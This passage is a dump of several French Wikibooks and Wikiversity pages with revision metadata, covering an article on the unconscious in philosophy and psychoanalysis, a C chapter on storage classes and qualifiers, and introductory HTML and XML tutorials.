'''ce''' manteau |- |align=center| Sujet || align=center| '''Verbe réfléchi''' ''(= il demande à lui-même)||align=center| Subordonnée complément d'objet direct dont le sujet est précis (''ce manteau = le manteau dont on vient de parler'') |} Philosophie/Inconscient 683 46056 2006-06-27T18:25:21Z Guillaumito 46 [[Inconscient]] déplacé vers [[Philosophie/Inconscient]]: Convention de nommage Notion centrale de la psychologie et de la psychanalyse, l'inconscient recouvre l'ensemble des représentations psychiques liées à des pulsions refoulées hors du champ de la conscience et qui tendent perpétuellement à l'investir à nouveau. Le terme inconscient désigne de façon assez générale la partie inaccessible du fonctionnement psychique de tout individu humain, que cette inaccessibilité soit passagère ou constante. Le mot fait son apparition vers 1820; il prend une extension considérable et un sens singulier à partir du milieu du XXe siècle, notamment sous l'influence de Freud et du développement de la la psychanalyse. Il est désormais utilisé dans la plupart des sciences de l'homme, avec toutefois des acceptions relativement différentes. L'inconscient s'analyse donc comme une notion interdisciplinaire: à la différence du langage courant, où le mot prend souvent le sens de «irresponsable», la philosophie considère l'inconscient comme la partie la plus profonde de l'être humain, et en fait le moteur d'un certain nombre de comportements et de représentations. La psychologie insiste surtout sur le clivage qui en résulte: définissant des niveaux de conscience, elle parle d'inconscient au‑dessous d'un certain seuil, qui est à définir selon les circonstances. Enfin, en psychanalyse, le terme s'applique à tous les comportements et à toutes les productions humaines dès l'instant que celles-ci sont envisagées dans leur surgissement originaire et dans leur vérité cachée: l'inconscient est un des concepts fondamentaux de la psychanalyse et il est avant tout un mode d'expression spécifique. L'approche philosophique Bien que l'idée même ait été présente dans la réflexion depuis un certain temps déjà, le terme ne fait son apparition dans la philosophie occidentale qu'au cours de la seconde moitié du XIXe siècle. Descartes place la conscience de soi au centre de la méditation philosophique, et dès lors, il devient inévitable qu'on s'interroge aussi sur la non‑conscience, ou l'inconscience, qui caractérise certains états psychiques. Selon Schopenhauer suivi par Nicolai Hartmann, l'inconscient est une volonté intérieure qui échappe à l'individu et se confond avec son vouloir‑vivre le plus profond. De nombreux philosophes qui se réfèrent aujourdhui à ce courant estiment que le terme est trop péjoratif et préfèrent revenir aux notions élaborées par Schopenhauer ou Nietzsche: ils parlent alors de volonté de vie. Dans une autre conception, liée à la philosophie de la représentation (Kant, Hegel), le terme inconscient est utilisé avant tout pour caractériser les idées, les images, les sensations qui ne sont pas directement accessibles à notre conscience, que ce soit de façon durable ou passagère. C'est ainsi que certains philosophes parlent aujourdhui d'«inconscient machinique» (Gilles Deleuze et Félix Guattari) pour rendre compte du fait que l'inconscient est peuplé non seulement d'images et de mots, mais aussi de mécanismes qui le conduisent à reproduire ces images et ces mots. L'interprétation psychologique Dans la psychologie classique, le terme (entendu surtout comme substantif) renvoie au clivage qui existe en chaque homme entre sa partie consciente, rationnelle et raisonnable, et sa partie cachée, dirigée par des désirs inaccessibles. La prise en compte de ce clivage s'opère tout au long du XIXe siècle, notamment sous l'influence des recherches du médecin allemand Franz Anton Mesmer, et à la suite de l'étude du somnambulisme et de la pratique de l'hypnose. Les psychologues qui s'intéressent à ces phénomènes constatent qu'il existe deux états de conscience: dans le premier, l'individu agit selon son vouloir rationnel et conscient; dans le second, où il se conduit d'une manière inattendue, s'affirment des tendances qu'il avait occultées. L'école de la Salpêtrière, avec le neurologue Jean Martin Charcot, le physiologiste Alfred Binet et surtout le psychiatre Pierre Janet, va théoriser ce clivage en parlant d'inconscient ou de subconscient pour désigner l'état de conscience qui nous échappe et qui est à l'origine de bon nombre de comportements. Pour Janet, l'état mental des hystériques (auquel il consacra un ouvrage en 1911) doit être considéré comme le fruit de perturbations engendrées par cet inconscient. La conception psychologique de l'inconscient succède à la conception héréditariste des troubles psychiques, et plus précisément à la théorie de la dégénérescence, qui était prédominante à la fin du XIXe siècle. Si la nouvelle approche marque un progrès, elle conserve cependant certains inconvénients de la théorie précédente, notamment en faisant de l'inconscient la cause de tous les maux. Comme toute explication globale et unilatérale, elle oriente l'attention vers les troubles, sans s'interroger sur les processus fort complexes de leur élaboration. Sa principale faiblesse est de chosifier l'inconscient et d'en faire une réalité en soi, à la manière de Nicolai Hartmann. Dans la psychologie actuelle, fréquemment associée aux sciences sociales ou économiques, le terme est utilisé d'une façon plus ponctuelle: dans les différents domaines où la psychologie est concernée, en particulier dans l'analyse des comportements humains, il est appliqué pour caractériser certains aspects du traitement de l'information et de la prise de décisions. Les psychologues contemporains s'attachent surtout à souligner qu'une grande partie des processus mentaux par lesquels l'individu perçoit des données, traite des informations et prend des décisions, si élaborés soient-ils, échappent à la conscience, même s'ils aboutissent à l'exécution de plans moteurs ou à la compréhension et à la production d'actes ou de paroles. Les recherches visent à éclaircir les processus en jeu par divers moyens d'analyse de façon à permettre des réaménagements pour surmonter les conflits qui peuvent en résulter. La «découverte» freudienne de l'inconscient Il faut attendre 1878 pour que le terme «inconscient» apparaisse dans le dictionnaire de l'Académie sous la forme d'un substantif. Jusqu'à la «découverte» de Freud, il reste, en effet, marqué par le sens privatif qu'il semble toujours avoir eu en philosophie et dans la psychologie naissante de la seconde moitié du XIXe siècle, à savoir tout ce qui échappe à la conscience spontanée et réfléchie. En avançant l'hypothèse d'un lieu psychique référé de façon spécifique à une sorte de «conscience inconsciente», Freud n'invente pas à proprement parler un concept, mais il donne à un terme déjà existant un sens nouveau qu'il cherchera à légitimer sur la base de ses recherches personnelles: « soit l'observation de ce qui achoppe, de ce qui échappe, bute, défaille chez tout un chacun en brisant d'une façon incompréhensible la continuité logique de la pensée et des comportements de la vie quotidienne: lapsus, actes manqués, rêves, oublis, et plus généralement les symptômes compulsionnels du névrosé, dont il découvre la signification paradoxale dans la clinique de l'hystérie» (J. Dor). L'hypothèse freudienne de l'inconscient instaure, de fait, la dimension d'une «psychologie des profondeurs» (Freud), d'une «métapsychologie», autrement dit de la psychanalyse comme telle. Une telle hypothèse permet de comprendre certains processus pathologiques irrationnels fréquents concernant l'existence du sujet. Par là même se justifie l'invention par Freud d'une stratégie psychothérapeutique, celle de la cure psychanalytique. Ainsi, comme le souligne encore J. Dor, s'amorce une nouvelle réforme copernicienne qui apporte la «peste» en désavouant fondamentalement l'assise du cogito cartésien: «Le Moi n'est plus maître dans sa propre maison» (Freud). Si l'inconscient reste par définition l'inaccessible de tout individu, s'il est effectivement l'insu que chacun véhicule dans tout ce qu'il fait, il n'en possède pas moins quelques caractéristiques spécifiques. Et la prise en compte de ces caractéristiques constitue en elle-même une révolution. L'inconscient est individuel. Ce n'est pas une composante intrinsèque qui serait la même pour tous et qu'on pourrait disséquer dans les mêmes conditions chez toute personne ou dans toutes les situations: il appartient en propre à chacun, et il faut l'aborder dans une perspective subjective. Par conséquent, l'écoute de l'inconscient suppose en priorité la prise en compte de l'histoire individuelle, des réactions intimes du sujet, de ses relations premières et constitutives. L'inconscient est «altruiste». En effet, s'il renvoie au plus intime de chacun, il ne s'élabore ni ne se révèle que par rapport à l'autre. Pour Freud, ce rapport est surtout heuristique: il joue dans la manière dont on peut découvrir, connaître et faire valoir ce qui se passe dans l'inconscient. L'inconscient est sexuel. Cette affirmation de Freud, qui a fait scandale et qui demande aujourdhui encore plus de précisions, signifie que tous les désirs inconscients sont appelés à s'intégrer dans la sexualité génitale, grâce en particulier au complexe d'Œdipe. Il s'ensuit aussi que la question de la différence des sexes et son acceptation par chaque être humain joue dans la structuration inconsciente un rôle central et décisif. Plus radicalement, Freud affirme que l'énergie qui anime l'inconscient – la libido – est sexuelle, ce qui signifie que l'enjeu est toujours d'une manière ou d'une autre la satisfaction. L'inconscient est structuré. Pour expliciter en quoi consiste cette structure, Freud a mis successivement au point deux systèmes. Le premier distingue un système conscient et un système inconscient, et ménage également un espace intermédiaire: le préconscient, où s'opèrent les échanges et les interactions. C'est la première topique de Freud. La seconde qui à partir de 1920 aura pour effet de remanier profondément la théorie freudienne de l'appareil psychique, considère qu'il y a dans l'inconscient trois instances: le ça, entièrement inconscient; le surmoi, en grande partie inconscient; le moi, qui possède une partie consciente et une partie inconsciente. Lacan: une conception structurale et topologique de l'inconscient Lacan, lecteur de Freud, considère que l'inconscient reste la meilleure «trouvaille» de l'inventeur de la psychanalyse. Il pose ce concept comme l'un des quatre concepts fondamentaux de la psychanalyse. Mais là où Freud mettait l'accent sur la prééminence des mots et des associations, Lacan fait l'hypothèse de «l'inconscient structuré comme un langage», en s'appuyant sur la linguistique structurale (F. de Saussure, E. Benveniste, R. Jakobson). Les références de Lacan rappellent toujours à cette conjonction du symbolique et de l'inconscient: «L'inconscient est langage» (La science et la vérité, in Écrits), ou encore «L'inconscient, c'est qu'en somme on parle... tout seul» (Séminaire du 11 janvier 1977). De façon plus explicite encore: «L'inconscient est la somme des effets de la parole sur un sujet, à ce niveau où le sujet se constitue des effets du signifiant» (Les quatre concepts fondamentaux de la psychanalyse). Ainsi Lacan donne une importance première au rôle que jouent les signifiants dans les représentations mentales, qu'ils soient purement linguistiques ou bien analogiques. La prise en compte des différents aspects de la structure ainsi définie est indispensable pour expliquer les conflits perpétuels qui caractérisent l'inconscient. L'inconscient est régi par des processus particuliers: un phénomène ou une représentation sont dits «inconscients quand ils sont articulés et organisés par des processus primaires tels que la condensation ou le déplacement, la métaphore et la métonymie ou encore les actes manqués, les lapsus, les mots d'esprit. En outre, l'inconscient est action: pour Lacan, il existe une sorte d'équivalence entre l'acte inconscient et le désir, et le développement de la notion d'inconscient se confond avec l'histoire de la psychanalyse. Programmation C Classe de stockage 684 46258 2006-06-28T10:43:51Z Alveric 1610 Orthographe {{Programmation C}} Il est possible de construire des types dérivés des types de base du langage en utilisant plusieurs combinaisons, deux étant illustrées dans ce chapitre: les classes de stockage et les qualificateurs. ==Classe de stockage== Le langage C permet de spécifier, avant le type d'une variable, un certain nombre de classe de stockage : * <code>auto</code> : valeur par défaut, mot clé obsolète ; * <code>register</code> : demande au compilateur de faire tout son possible pour utiliser un registre processeur pour cette variable ; * <code>static</code> : rend une définition de variable persistante ; * <code>extern</code> : déclare une variable sans la définir. Une variable, ou un paramètre de fonction, ne peut avoir qu'au plus une classe de stockage. ===Classe 'auto'=== Cette classe ne sert qu'à maintenir une certaine compatibilité avec le prédécesseur du C : le langage B. Car en fait, ce dernier ne comportait aucune notion de type, mais uniquement de classe. Comme il fallait bien mettre un mot clé avant la définition d'une variable, celui-ci servait de passe-partout. En C, ce mot clé est tombé en désuétude. ===Classe 'register'=== Indique que la variable devrait être stockée dans un registre du processeur. Les registres du processeur sont forcément limités, aussi bien en nombre qu'en taille. Inutile de déclarer une structure entière ou un tableau avec le mot clé <code>register</code>. Qui plus est, les variables registres sont forcément locales à des fonctions. On ne peut pas définir une variable globale en tant que registre. Ce mot-clé est déconseillé sauf pour des cas particuliers, les compilateurs modernes sachant généralement mieux que le programmeur comment optimiser et quelles variables placer dans les registres. <pre> int main() { register short i,j; for (i=1;i<1000;++i) for(j=1;j<1000;++j) printf("\n %d %d",i,j) } </pre> ===Classe 'static'=== L'effet de la classe 'static' dépend de l'endroit où l'objet est déclaré : * ''Objet local à une fonction'' : la valeur de la variable sera persistante entre les différents appels de la fonction. C'est une sorte de variable globale privée. L'intérêt de déclarer la variable à l'intérieur de la fonction est de garantir une certaine encapsulation, afin d'éviter des « optimisations » (usages multiples) d'une variable globale. Qui plus est, cela permet d'avoir plusieurs fois le même nom, dans des fonctions différentes. * ''Objet global'' : comme une variable globale est déjà persistante, le mot-clé <code>static</code> aura pour effet de limiter la visibilité de la variable au seul module où elle est déclarée (cela s'applique aussi et surtout aux fonctions), toujours dans le but de garantir un certain niveau d'encapsulation. Les paramètres des fonctions ne peuvent être déclarés 'static'. ===Classe 'extern'=== <code>extern</code> permet de déclarer une variable sans la définir. C'est utile lorsqu'elle est définie dans un autre fichier. Toutes variables globales, autres que celles déclarées <code>static</code>, sont accessibles avec ce mot-clé. À noter que le 'extern' est implicite lorsqu'on déclare ou donne le prototype d'une fonction, pas la peine de le rajouter. == Qualificateurs == Le C définit trois qualificateurs pouvant influer sur une variable : * <code>const</code> : pour définir une variable dont la valeur ne devrait jamais changer ; * <code>restrict</code> : permet une optimisation pour la gestion des pointeurs ; * <code>volatile</code> : désigne une variable pouvant être modifiée notamment par une source externe indépendante du programme. Une variable, ou un paramètre de fonction, peut avoir aucun, un, deux, ou les trois qualificateurs (certaines combinaisons n'auraient que peu de sens, mais sont autorisées). ===Qualificateur 'const'=== La classe <code>const</code> ne déclare pas une vraie constante, mais indique au compilateur que la valeur de la variable ne doit pas changer. Il est donc impératif d'assigner une valeur à la déclaration de la variable, sans quoi toute tentative de modification ultérieure entrainera une erreur de la part du compilateur : <pre> const int i = 0; i = 1; /* erreur*/ </pre> En fait, le mot-clé <code>const</code> est beaucoup plus utilisé avec des pointeurs. Pour indiquer qu'on ne modifie pas l'objet pointé, il est bon de spécificier le mot-clé <code>const</code> : <pre> void fonction( const char * pointeur ) { pointeur[0] = 0; /* erreur*/ pointeur = "Nouvelle chaine de caractères"; } </pre> Dans cet exemple, on indique que l'objet pointé ne sera pas modifié. Pour indiquer que la valeur elle-même du pointeur est constante, il faut déclarer la variable de la sorte : <pre> char * const pointeur = "Salut tout le monde !"; pointeur = "Hello world !"; /* erreur*/ </pre> Encore plus subtil, on peut mélanger les deux : <pre> const char * const pointeur = "Salut tout le monde !"; pointeur = "Hello world !"; /* erreur*/ pointeur[0] = 0; /* erreur*/ </pre> Cette dernière forme est néanmoins rarement usitée. En outre ce dernier exemple présente un autre problème qui est la modification d'une chaine de caractères « en dur », qui sont la plupart du temps placées dans la section lecture seule du programme et donc inaltérables. ===Qualificateur 'volatile'=== Ce mot-clé sert à spécifier au compilateur que la variable peut être modifiée à son insu. Cela annule toute optimisation que le compilateur pourrait faire, et l'oblige à procéder à chaque lecture ou écriture dans une telle variable tel que le programmeur l'a écrit dans le code. Ceci sert par exemple pour les coordonnées d'un pointeur de souris qui seraient modifiées par un autre programme, ou pour de la programmation avec de multiples fils d'exécution qui doivent communiquer entre eux, ou pour désigner des registres matériels qui peuvent être accédés depuis un programme C (une horloge, par exemple), mais dont la valeur peut changer indépendemment du programme. On peut combiner <code>const</code> et <code>volatile</code> dans certaines situations. La norme C donne cet exemple : <pre>extern const volatile int horloge_temps_reel;</pre> qui déclare une variable entière qu'on ne peut modifier à patir du programme, mais dont la valeur peut changer quand même. Elle pourrait désigner une valeur incrémentée régulièrement par une horloge interne. Remarque : Dans le cas d'architectures avec cache non-cohérent le mot-clé <code>volatile</code> oblige le compilateur à lire la variable dans le cache mais pas dans la mémoire. Wikiversité:Créer une nouvelle faculté 686 28091 2006-01-02T15:39:59Z 82.125.149.197 /* [[wikiversité|Retour à la Wikiversité]] */ Quelques conseils et étapes à suivre pour la création d'une faculté ou département wikiversitaire : ==Créer un goupe de '''volontaires coordonnés'''== La coordination est fondamentale pour fonder un département solide aux objectifs bien définis. Il est donc nécessaire de :<br/> * maintenir une liste des volontaires et de communiquer régulièrement via : ** une page de discussion ** des courriers électroniques ** un chat IRC ou autre * '''consulter, corriger et compléter régulièrement''' les articles de [[w:wikipédia|wikipédia]] et des projets similaires, qui pourront servir comme fond documentaire pour le nouveau département wikiversitaire. * créer une bibliothèque de contenus pédagogiques pour le département wikiversitaire via le projet [[Wikilivres]], et rassembler des liens de sites internet externes. <br/> ==Aspect légal== * Consulter des collaborateurs qui connaissent la législation en vigueur <br/> ==Organisation interne== * Débattre de la structure et du contenu des cours pour assurer l'adéquation des thèmes ** Effectuer des tests pour évaluer l'étendue des connaissances acquises durant le cours * Résoudre les conflits <br/> ==Recherche== * Créer un portail où apparaissent les divers sujets de recherche que regroupe le département wikiversitaire * Faciliter la coordination des participants pour qu'ils puissent obtenir rapidement le matériel dont il pourraient avoir besoin * Publier les résultats des diverses recherches réalisées par les équipes du département à travers les projets wiki * Publier les résultats obtenus dans des revues scientifiques en rapport avec le sujet de l'étude * Développer des applications possibles des résultats obtenus <br/> ==Relations extérieures== * Créer une section pour organiser les contacts avec : ** les départements similaires d'autres universités ** les autres départements de la [[Wikiversité]], tout spécialement pour la collaboration lors d'études interdépartementales. * Pour développer : ** la collaboration académique ** la collaboration dans des projets de recherche Tout ceci permettra d'améliorer le flux d'informations interdépartementales. <br/> ==Proposer la création d'un département== Indiquez ci-dessous la faculté à laquelle serait rattaché le nouveau département, le coordinateur de ce nouveau département et un lien vers une page regroupant les volontaires et les objectifs. =[[wikiversité|Retour à la Wikiversité]]= Faculté de sciences de l'éducation Programmation HTML 690 40880 2006-04-24T23:33:04Z Koos Jol 251 interwiki nl {{EnTravaux}} [[Image:Html-source-code3.png|thumb|center|309px|Exemple de code HTML avec coloration syntaxique]] *[[Programmation HTML Introduction|Introduction]] *[[Programmation HTML Structure de base d'un document HTML|Structure de base d'un document HTML]] *[[Programmation HTML Entités|Entités]] *[[Programmation HTML Titres et paragraphes|Titres et paragraphes]] *[[Programmation HTML Liens|Liens]] *[[Programmation HTML Images|Images]] *[[Programmation HTML Listes|Listes]] *[[Programmation HTML Tableaux|Tableaux]] *[[Programmation HTML Formulaires|Formulaires]] *[[Programmation HTML Cadres|Cadres]] *[[Programmation HTML Balises complémentaires|Balises complémentaires]] *[[Programmation HTML Calques|Calques]]{{75}} *[[Programmation HTML Conclusion|Conclusion]] *[[Programmation HTML XML et XHTML|XML et XHTML]] {{Programmation}} [[nl:HTML/Inhoudsopgave]] Programmation HTML Structure de base d'un document HTML 694 44578 2006-06-15T08:54:49Z 202.3.250.65 /* Conclusion */ {{Programmation HTML}} Les documents HTML doivent tous avoir une structure minimale. C'est à dire des balises qui sont toujours présentes et au milieu desquelles vous allez ajouter votre propre contenu. Ce chapitre présente cette structure en donnant quelques explications sur les mots-clefs principaux (aussi appelés balises). Voici un exemple de page minimale : <pre><nowiki> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <title>Titre affiché dans la barre de titre du navigateur</title> </head> <body> <!--C'est ici que vous mettrez votre contenu !--> </body> </html> </nowiki></pre> == Les balises == Comme vous le savez, le HTML utilise ce que l'on nomme des balises afin de structurer les informations et pour transformer votre code source en document correct affiché à l'écran. Connaître toutes les balises par coeur n'est heureusement pas nécessaire mais il faut en avoir bien compris le principe pour pratiquer le HTML. On a de plus tendance à utiliser un nombre de balises plus restreint qu'il n'y paraît. Petits rappels pour les retardataires : une balise est composée d'un mot clef entouré des symboles « < » et « > ». Par exemple <code><nowiki><html></nowiki></code> est une balise. Les balises viennent en général par deux. * Une ouvrante dont la syntaxe est décrite juste au dessus. * Une fermante qui s'écrit comme l'ouvrante sauf que l'on fait précéder de mot clef par le caractère « / ». Certaines balises sont dites vides, c'est-à-dire qu'elles ne contiennent pas d'autres éléments. Ces balises ne possèdent donc pas de balises de fermeture. Pour indiquer qu'il n'y a pas de balise de fin, en XHTML on ajoute le caractère « / » à la fin de la balise. Lorsqu'une balise n'est pas vide, vous pouvez mettre différentes choses entre la balise d'ouverture et la balise de fermeture comme du texte ou d'autres balises. Il est interdit de « croiser les balises » c'est-à-dire qu'il n'est pas permis de fermer une balise alors qu'une autre, ouverte après elle, n'est pas encore fermée. Il faut toujours faire attention à bien les emboîter. Un grand nombre de balises prennent des attributs. Ils servent à paramétrer finement la sémantique d'une balise (par exemple en indiquant la cible d'un lien). Après le mot-clef, il suffit de mettre le nom de l'attribut suivi du symbole = et d'une valeur à donner à l'attribut, placée entre guillemets. Ainsi dans la balise <code><nowiki><a href="http://fr.wikipedia.org">Lien vers wikipedia</a></nowiki></code> : * le mot-clef est « a » * elle contient un attribut nommé « href » qui a pour valeur « http://fr.wikipedia.org ». Les attributs sont toujours de la forme <code>nom_de_l'attribut="valeur"</code>. Il peut y avoir un nombre illimité d'attributs dans une balise. Bien sûr, comme pour les balises, il est inutile de connaître par coeur tous les attributs et toutes les valeurs. Si ce qui précède n'est pas clair, retournez lire [[Programmation_HTML_Introduction|l'introduction]]. == La page minimale == Voici une page minimale dont nous allons expliquer tous les éléments : <pre><nowiki> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <title>Titre affiché dans la barre de titre du navigateur</title> </head> <body> <!--C'est ici que vous mettrez votre contenu !--> </body> </html> </nowiki></pre> === La définition de type de document === Vous le savez, on en a parlé en long en large et travers dans l'introduction, il existe plusieurs version du HTML et avec ça plusieurs variantes. On a aussi dit qu'une fois la version (et le cas échéant la variantes) choisie, il fallait s'y tenir. Mais pour savoir si vous respectez bien les règles d'une certaines version, il faut dire la version que vous utilisez ! C'est à ça que sert la première ligne. Elle paraît barbare mais ne vous inquiétez pas, vous n'aurez pas à l'apprendre par coeur (franchement je me demande si quelqu'un la connaît). Cette première balise donc est la ''déclaration de type document'' (appelée couramment ''doctype''). Dans le cas présent, on devine facilement qu'il s'agit du XHTML 1.0 Strict. Vous avez si dessous une liste des Doctype les plus utilisées que vous pouvez directement copier / coller. ==== Importance du DOCTYPE ==== Sans un DOCTYPE, vous ne pourrez pas faire passer votre page par un validateur. Vous avez sûrement remarqué qu'il n'y a pas de / final, alors que c'est une balise "toute seule". Et bien il ne faut pas en mettre ''même en XHTML''. C'est la seule exception à la règle. ==== Les trois variantes du HTML 4.01 ==== <pre> <nowiki> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"> </nowiki> </pre> ==== Les trois variantes du XHTML 1.0 ==== <pre> <nowiki> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!DOCTYPEhtml PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"> </nowiki> </pre> ==== Le XHTML 1.1 (qui n'a pas de variantes) ==== <pre> <nowiki> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> </nowiki> </pre> === Les Balises === Nous retrouvons ici notre exemple du haut de page, pour en expliquer les principales balises. <pre><nowiki> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <title>Titre affiché dans la barre de titre du navigateur</title> </head> <body> <!--C'est ici que vous mettrez votre contenu !--> </body> </html> </nowiki></pre> ==== La balise <code><nowiki><html></nowiki></code> ==== Là on entre dans le vif du sujet, les balises, les vrai de vrai. Un document HTML est entièrement compris dans une balise <code>html</code>. Même si le navigateur s'y attend, vous êtes poli et vous lui dites que vous commencez votre document HTML, puis que vous le terminez. Ainsi la balise <html> sera toujours la toute première après le doctype, et la balise </html> la toute dernière. À l'intérieur on trouve deux parties principales : une en-tête et un corps, placé entre les balises <code>head</code> et <code>body</code>, respectivement. L'en-tête est constitué de déclarations générales concernant la page HTML, destinées au navigateur, aux moteurs de recherche etc. Le corps contient le document lui-même : ce qui sera affiché par le navigateur dans la fenêtre de rendu. Cette partie ne contient aucun élément obligatoire. ==== La balise <code><nowiki><head></nowiki></code> ==== La balise <code><head></code> délimite l'en-tête de la page dont on vient de parler. On y trouve des informations qui ne seront pas affichées directement dans la zone de rendu du navigateur. Par exemple le titre de la page, le lien vers la feuille de style, etc... L'en-tête des documents HTML est l'objet du chapitre [[Programmation HTML l'en-tête|l'en-tête]]. ==== La balise <code><nowiki><title></nowiki></code> ==== L'en-tête contient un élément obligatoire : <code>title</code> qui indique le titre de la page. C'est le titre qui s'affiche en suite en haut de la fenêtre du navigateur. Essayez de mettre un titre pertinent et différent pour chaque page, qui permette d'identifier le site et la page en elle-même. Par exemple, "Sommaire" est un très mauvais choix. Quand votre page se retrouvera dans les favoris de quelqu'un, cette personne sera incapable de savoir de quelle page il s'agit rien qu'en regardant le nom. Préférez des choses du style "Accueil - www.ladressedemonsite.com". En parlant de ça, accueil s'écrit acc'''ue'''il et non acceuil. C'est une erreur fréquente. ==== La balise <code><nowiki><body></nowiki></code> ==== Tout le corps de notre documemt est dans la partie <code>body</code>. Elle comprend donc le texte, les liens, la référence des images et tout ce qu'un auteur peut vouloir mettre dans un document HTML. ==== Les commentaires ==== Les commentaires sont du texte écrit dans le code HTML qui n'est pas visible dans le rendu de la page. Les commentaires jouent habituellement le rôle de notes pour expliquer ce qui a été fait dans la page, ou bien tout simplement pour indiquer des modifications à faire ultérieurement. Ils sont biens sûr facultatifs, mais ils peuvent vous être utiles ! Un commentaire commence par les caractères <nowiki><!--</nowiki> et se termine par les caractères <nowiki>--></nowiki> Pratiquement n'importe quelle chaîne de caractères peut être placées à l'intérieur d'un commentaire : du texte, des balises, etc. == Conclusion == Dans cette partie vous avez appris vos première vraies balises. Elles sont importantes car elles doivent toujours être présentes (en dehors des balises de commentaires, qui sont uniquement là à titre de... commentaires). Dans le chapitre suivant, on va remplir un peu le corps ! [[nl:HTML/De basis]] Programmation HTML Listes 697 30836 2006-01-29T20:43:08Z Adtech 1095 {{Programmation HTML}} Les listes permettent d'ordonner une énumération. Même si on les rencontre rarement, elles ont cet avantage qu'elles ont été crées spécialement pour faciliter une opération qu'effectue souvent tout créateur de page web et qui consiste à dresser une liste d'éléments. ==Types de liste== Il existe deux listes dont la structure est similaire : une tenant compte de l'ordre et pas l'autre et une autre structure par groupe de deux éléments. ===Listes non numérotées=== Les listes non numérotées sont introduites par la balise <code>ul</code> et chaque élément de la liste par <code>li</code> : <pre><nowiki> <ul> <li>premier élément de la liste ;</li> <li>deuxième élément ;</li> <li>etc.</li> </ul> </nowiki></pre> Les balises fermantes pour les éléments <code>li</code> ne sont pas obligatoires. Ce code donnera quelque chose comme : *premier élément de la liste ; *deuxième élément ; *etc. ===Listes numérotées=== Les listes numérotées fonctionnent sur le même principe que les listes non numérotées. La seule différence est qu'on utilise la balise <code>ol</code> au lieu de la balise <code>ul</code>. Les éléments restent encadrés par les balises <code>li</code> Exemple : <pre><nowiki> <ol> <li>premier élément de la liste ;</li> <li>deuxième élément ;</li> <li>etc.</li> </ol> </nowiki></pre> Ce code donnera : <ol> <li>premier élément de la liste ;</li> <li>deuxième élément ;</li> <li>etc.</li> </ol> ===Listes de descriptions=== Contrairement aux autres types de listes, les listes de description, <code>dl</code>, n'utilisent pas la balise <code>li</code> pour les éléments de la liste, mais les sépare en deux parties : le terme, introduit par <code>dt</code> et sa description introduite par <code>dd</code>. Par exemple : <pre><nowiki> <dl> <dt>C</dt> <dd>Un langage efficace</dd> <dt>Java</dt> <dd>Un langage portable</dd> <dt>Pascal</dt> <dd>Un langage pédagogique</dd> </dl> </nowiki></pre> Ce code donnera : C :Un langage efficace Java :Un langage portable Pascal :Un langage pédagogique ==Propriété des listes== En CSS les listes sont hautement paramétrable, elles ont même des propriétés valables uniquement pour elles. D'une manière générale on peut se pencher sur : *Les puces (petit élément devant chaque élément de la liste). Ces puces pourront changer pour devenir un caractère prédéfini, personnalisable ou encore une image). *Le type de numérotation (latin, arabe, grec,...). Programmation XML 698 34994 2006-02-27T11:36:53Z Merrheim 1032 [[programmation| << Retour à Programmation]] {| width="100%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="lightblue" align="center" colspan="2" |<font size="+1">Programmation XML</font> ''un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]]''. |- bgcolor="lightyellow" valign="top" | width="20%" | {{Sous section|nom=Programmation XML/Informations|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} | {{Sous section|nom=Programmation XML/Sommaire|couleur=lightblue|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | * [[Image:Fairytale filenew.png|24px|]] '''Pour laisser un [http://fr.wikibooks.org/w/wiki.phtml?title=Discuter:Programmation_XML&action=edit&section=new message, cliquez ici.]''' * [[Image:Fairytale upload.png|24px|]] '''[[Wikilivres:Accueil|Tous les projets de Wikilivres]]''' * [[Image:Fairytale key enter-2.png|24px|]] [http://fr.wikibooks.org/w/index.php?title=Programmation_XML&action=purge '''Rafraîchir la page'''] |- |} |- |} __NOEDITSECTION__ [[en:XML: Managing Data Exchange]] [[it:Programmare in XML]] Programmation XML/Introduction 699 30259 2006-01-25T08:53:54Z Gmarzin 1053 Mise à jour liens {{XML}} XML (extended markup language) est le fruit de recherches visant à permettre la structuration et la manipulation de toutes sortes de données dans un format se voulant le plus indépendant possible des plates-formes et des logiciels.<br/> La technologie XML vise à devenir le standard d'échange principal entre systèmes hétérogènes. XML hérite de SGML et à ce titre est un cousin de HTML. C'est un langage de balises comme HTML mais extensible et strict.<br/> A partir de XML, il est possible de dériver des langages spécialisés comme XHTML ou MathML, ou tout autre langage, et ceci grâce au fait que les noms des balises peuvent être réinventés en fonction des besoins. ===Histoire de XML=== * Juillet 1997 : Création du groupe de travail XML par le W3C * 10 février 1998 : Publication de la spécification XML&#160; [http://www.w3.org/TR/1998/REC-xml-19980210 1.0] * 4 février 2004 : XML (3eme édition)&#160;[http://www.w3.org/TR/REC-xml/ 1.0] * 4 février 2004 : spécification XML&#160;[http://www.yoyodesign.org/doc/w3c/xml11/index.html 1.1] (français) Programmation Glossaire 700 12381 2004-11-06T10:43:11Z Esope 99 suppression de la liste des lettres (le modèle 